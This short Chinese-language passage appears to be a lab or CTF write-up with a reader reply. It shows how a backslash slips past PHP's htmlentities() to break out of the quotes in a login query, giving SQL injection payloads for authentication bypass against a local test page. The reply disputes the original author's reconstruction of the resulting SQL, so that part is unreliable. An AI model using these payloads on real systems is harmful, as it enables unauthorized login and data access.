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htmlentities($str, ENT_QUOTES);//将字符转换为 HTML 转义字符,既转换双引号也转换单引号
那么来看看HTML转义字符的范围吧,https://www.w3school.com.cn/html/html_entities.asp,发现转义符号 \ 不在射程范围
思路,尝试试利用sql语句中的单引号构造这样的格式 where name='xx\’x' or 1=1 进行绕过
请求构造如下:http://127.0.0.1/16.php?username=admin\&password=%20or%201=1%23
对应的SQL为: SELECT * FROM users WHERE name='admin' AND pass=' or 1=1#‘
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我觉得上位师傅说的有点问题,当构造的payload为name=admin\#&password= or 1#
时,此时对应的SQL语句是$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1#'\';';
,自己简化一下也就是$query='SELECT * FROM users WHERE name='admin AND pass=' or 1#'
,后面的AND pass是属于name那里的,上位师傅admin后面的'是不存在的
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